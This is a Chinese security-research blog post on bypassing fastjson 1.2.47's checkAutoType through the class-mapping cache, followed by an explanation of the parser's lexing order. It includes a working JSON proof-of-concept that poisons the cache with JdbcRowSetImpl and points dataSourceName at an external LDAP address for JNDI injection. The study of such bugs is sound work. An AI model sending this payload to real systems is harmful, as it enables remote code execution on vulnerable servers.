Java fastjson <= 1.2.47 类缓存绕过 checkAutoType 的情况 和 词法解析顺序过程

前言:通过自己的fastjosn初识的笔记,已经记录到了1.2.47,自己这篇笔记就是用来记录1.2.47 通过类缓存来进行绕过 关闭AutoType 的情况下的反序列化

1、学习了类缓存绕过的方法

2、学习了fastjson的词义解析模式

    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.47</version>
    </dependency>

com.alibaba.fastjson.parser.ParserConfig#checkAutoType (String typeName, Class<?> expectClass, int features)

过滤1:字符数量,这个我还不懂为什么有这个限制

        if (typeName.length() >= 128 || typeName.length() < 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }

过滤2:[ 描述符限制,防止[描述符绕过

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

过滤3:L 描述符限制,防止L描述符绕过

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

接着就是来到了老地方,如果开启了autoType,则先判断白名单,再判断黑名单,这里走不了,都不满足,默认autoType为false 和 expectClass!=null的结果为false,这里默认跳过

        if (autoTypeSupport || expectClass != null) {
            long hash = h3;
            for (int i = 3; i < className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

重点来了,接着就是来到了TypeUtils.getClassFromMappingdeserializers.findClass,如果在前面两个判断中返回了clazz,那么在第三个判断则进行返回该clazz,这里后面的部分不讲,因为后面的部分就是当你没开启autoTypeSupport的时候默认走的代码,检查到是黑名单则直接抛出错误!

        if (clazz == null) {
            clazz = TypeUtils.getClassFromMapping(typeName);
        }

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz != null) {
            if (expectClass != null
                    && clazz != java.util.HashMap.class
                    && !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }

            return clazz;
        }

那么如何在后面的判断之前,使得返回指定的clazz?这里可以去看findClass,我们是否可以让它返回指定的typeName的clazz

    private final IdentityHashMap<Type, ObjectDeserializer> deserializers         = new IdentityHashMap<Type, ObjectDeserializer>();

    public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
      if (clazz == null) {
          clazz = deserializers.findClass(typeName);
      }
    }

可以看到findClass,正常的情况下是找不到我们要JNDI注入"com.sun.rowset.JdbcRowSetImpl"的clazz的。

那么其他的地方还有可以利用吗?

先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers,是一个IdentityHashMap

能向其中赋值的函数有:

getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。

initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。

putDeserializer():被前两个函数调用,我们无法控制入参。

所以这条路就不可以走,接着看还有一个clazz = TypeUtils.getClassFromMapping(typeName);,那么这个可不可控?

跟进去如下:

    public static Class<?> getClassFromMapping(String className){
        return mappings.get(className);
    }

mappings为如下:

private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);

跟mappings相关的有如下方法:

Class loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType() 和 TypeUtils 里自调用,略过。 Class loadClass(String className):除了自调用,有一个 castToJavaBean() 方法,暂未研究。
Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中,

public static Class loadClass(String className, ClassLoader classLoader, boolean cache),这个方法中对mappings有进行操作,并且我们可以可控,这个方法是由Class loadClass(String className)这个方法来进行访问的

该方法如下:

只截取了关键部分,如下部分中的loadClass将能够成功的帮助我们进行加载Class对象

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        return loadClass(className, classLoader, true);
    }

    public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
.....
        try{
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
.....
.....

既然这里可控,但是当前谁调用了这个方法loadClass(String className, ClassLoader classLoader)呢?

接着来到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName),这里可以看到如果clazz == Class.class这个条件满足的话,那么则能成功调用上面的loadClass方法

那么又是什么时候会用到这个MiscCodec.java#deserialze,这里就需要先了解下关于fastjson自身是如何进行解析数据的?

因为fastjson自己实现在初始化的时候有用到这个类

然后接着看上面的loadClass走过之后,我们在autoTypeCheck方法中出来了,继续往下跟就来到了getDeserializer方法

接着就是deserialze方法,它会通过传输过来的json中的键值为val中值,然后取出其中的字符串,然后通过 Class.class是MiscCodec类加载的特性,将其带到如下进行loadClass

在MiscCodec类的deserialze方法中会通过其中objVal = parser.parse();,进行加载来获取json的val的值作为objVal变量

接着会将objVal的值作为strVal

最后带入到loadClass方法中

        if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache),这个方法中进行对指定的值进行loadClass,最后将其放入到缓存mappings去

第二次走的时候加载的时候,再次来到了autoTypeCheck方法中,就直接返回了存在要进行JNDI注入的类JdbcRowSetImpl

最终的POC测试如下所示

/**
 * 1.2.46 <= fastjosn <= 1.2.47 的情况下,AutoTypeSupport不用开启
 * */

public class Test_JdbcRowSetImpl_1_2_47 {
    public static void main(String[] args) {
        String userJson = "{\n" +
                " \"@type\": \"java.lang.Class\",\n" +
                " \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "}";
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

那么需要如何进行利用呢?此时的话进行将com.sun.rowset.JdbcRowSetImpl加载到mappings属性中了,然后可以继续通过@type来进行反序列化即可

这里需要注意的就是需要外部需要通过字段包裹,否则词法分析器无法进行成功解析

public class Test_JdbcRowSetImpl_1_2_47 {
    public static void main(String[] args) {
        String userJson = "{\n" +
                "    \"a\":{\n" +
                "        \"@type\":\"java.lang.Class\",\n" +
                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
                "    },\n" +
                "    \"b\":{\n" +
                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
                "        \"dataSourceName\":\"ldap://27.xx.xx.220:1389/test\",\n" +
                "        \"autoCommit\":true\n" +
                "    }\n" +
                "}";
        Object object2 = JSON.parse(userJson);
        System.out.println(object2);
    }
}

fastjson的词义解析器

json的解析过程

一开始的反序列化只需要用到一次@type,随着官方的修复,漏洞的利用也变的越来越难,需要对本身的组件了解的越深才能挖的到

在1.2.47之后的漏洞的利用里面,payload中的@type次数将会出现多次,它走的顺序是如何,这个理解了对学习fastjson的利用会非常有帮助

关于fastjson的词义解析逻辑都存储在DefaultJSONParse.java#中

fastjson-1.2.47-sources.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.java

正常的parse函数,来到如下,则会生成DefaultJSONParser来进行语法解析

继续跟进来来到parse的重载函数,其实它支持四种解析模式,如果输入的内容为json格式,{开头的,则走LBRACE的解析模式

如果是[开头的话,那么走的就是LBRACKET模式

接着就是进入parseObject的方法

                lexer.skipWhitespace(); // 先是判断开头的第一个字符串是否为指定的字符
                char ch = lexer.getCurrent();
                if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
                    while (ch == ',') {
                        lexer.next();
                        lexer.skipWhitespace();
                        ch = lexer.getCurrent();
                    }
                }

                boolean isObjectKey = false;
                Object key;
                if (ch == '"') { // " 的判断
                    key = lexer.scanSymbol(symbolTable, '"'); // 遍历"和"之间的字符串
                    lexer.skipWhitespace(); //跳过空格
                    ch = lexer.getCurrent(); //获取当前的字符
                    if (ch != ':') { // 判断是否是标准的json格式,key:value这种形式
                        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
                    }
                } else if (ch == '}') { // } 的判断
                    lexer.next();
                    lexer.resetStringPosition();
                    lexer.nextToken();

                    if (!setContextFlag) {
                        if (this.context != null && fieldName == this.context.fieldName && object == this.context.object) {
                            context = this.context;
                        } else {
                            ParseContext contextR = setContext(object, fieldName);
                            if (context == null) {
                                context = contextR;
                            }
                            setContextFlag = true;
                        }
                    }

                    return object;
                } else if (ch == '\'') {
                    if (!lexer.isEnabled(Feature.AllowSingleQuotes)) {
                        throw new JSONException("syntax error");
                    }

                    key = lexer.scanSymbol(symbolTable, '\'');
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos());
                    }
                } else if (ch == EOI) {
                    throw new JSONException("syntax error");
                } else if (ch == ',') {
                    throw new JSONException("syntax error");
                } else if ((ch >= '0' && ch <= '9') || ch == '-') {
                    lexer.resetStringPosition();
                    lexer.scanNumber();
                    try {
                        if (lexer.token() == JSONToken.LITERAL_INT) {
                            key = lexer.integerValue();
                        } else {
                            key = lexer.decimalValue(true);
                        }
                        if (lexer.isEnabled(Feature.NonStringKeyAsString)) {
                            key = key.toString();
                        }
                    } catch (NumberFormatException e) {
                        throw new JSONException("parse number key error" + lexer.info());
                    }
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("parse number key error" + lexer.info());
                    }
                } else if (ch == '{' || ch == '[') {
                    lexer.nextToken();
                    key = parse();
                    isObjectKey = true;
                } else {
                    if (!lexer.isEnabled(Feature.AllowUnQuotedFieldNames)) {
                        throw new JSONException("syntax error");
                    }

                    key = lexer.scanSymbolUnQuoted(symbolTable);
                    lexer.skipWhitespace();
                    ch = lexer.getCurrent();
                    if (ch != ':') {
                        throw new JSONException("expect ':' at " + lexer.pos() + ", actual " + ch);
                    }
                }

lexer.skipWhitespace();:先是判断开头的第一个字符串是否为指定的字符

如果都不是则开始正常的解析

正常的解析有如下:"},还有几种先不讲

如果",则其这个的key,也就是主键,并且取完主键之后,还需要满足json的格式,为主键:值这种模式

中间省略了一部分的解析,这些是关于"$"这些符号的解析,自己会在了解了1.2.68之后来补上!

当正常主键获取完了就是开始判断 值了,值的解析也有不同的字符,有双引号的,方括号的,有花括号的,详细的需要自己去学习下

                if (ch == '"') {  // 解析双引号
                    lexer.scanString();
                    String strValue = lexer.stringVal();
                    value = strValue;

                    if (lexer.isEnabled(Feature.AllowISO8601DateFormat)) {
                        JSONScanner iso8601Lexer = new JSONScanner(strValue);
                        if (iso8601Lexer.scanISO8601DateIfMatch()) {
                            value = iso8601Lexer.getCalendar().getTime();
                        }
                        iso8601Lexer.close();
                    }

                    map.put(key, value);
                } else if (ch >= '0' && ch <= '9' || ch == '-') {
                    lexer.scanNumber();
                    if (lexer.token() == JSONToken.LITERAL_INT) {
                        value = lexer.integerValue();
                    } else {
                        value = lexer.decimalValue(lexer.isEnabled(Feature.UseBigDecimal));
                    }

                    map.put(key, value);
                } else if (ch == '[') { // 减少嵌套,兼容android,解析方括号
                    lexer.nextToken();

                    JSONArray list = new JSONArray();

                    final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;
//                    if (!parentIsArray) {
//                        this.setContext(context);
//                    }
                    if (fieldName == null) {
                        this.setContext(context);
                    }

                    this.parseArray(list, key);
                    
                    if (lexer.isEnabled(Feature.UseObjectArray)) {
                        value = list.toArray();
                    } else {
                        value = list;
                    }
                    map.put(key, value);

                    if (lexer.token() == JSONToken.RBRACE) {
                        lexer.nextToken();
                        return object;
                    } else if (lexer.token() == JSONToken.COMMA) {
                        continue;
                    } else {
                        throw new JSONException("syntax error");
                    }
                } else if (ch == '{') { // 减少嵌套,兼容android,解析花括号
                    lexer.nextToken();

                    final boolean parentIsArray = fieldName != null && fieldName.getClass() == Integer.class;

                    Map input;
                    if (lexer.isEnabled(Feature.CustomMapDeserializer)) {
                        MapDeserializer mapDeserializer = (MapDeserializer) config.getDeserializer(Map.class);
                        input = mapDeserializer.createMap(Map.class);
                    } else {
                        input = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                    }
                    ParseContext ctxLocal = null;

                    if (!parentIsArray) {
                        ctxLocal = setContext(context, input, key);
                    }

                    Object obj = null;
                    boolean objParsed = false;
                    if (fieldTypeResolver != null) {
                        String resolveFieldName = key != null ? key.toString() : null;
                        Type fieldType = fieldTypeResolver.resolve(object, resolveFieldName);
                        if (fieldType != null) {
                            ObjectDeserializer fieldDeser = config.getDeserializer(fieldType);
                            obj = fieldDeser.deserialze(this, fieldType, key);
                            objParsed = true;
                        }
                    }
                    if (!objParsed) {
                        obj = this.parseObject(input, key); // 通过parseObject来对值中的json来进行解析
                    }
...

接着又是parseObject的解析的到来,这里的解析是根据对应的key来进行解析的,主要解析的就是值,解析顺序同样跟上面走的一样

如果是当前值中存储的主键的key是@type的话,那么就会加载Class的操作,也就是前面一直在讲的loadClass

posted @ 2021-07-05 20:54  zpchcbd  阅读(957)  评论(0)    收藏  举报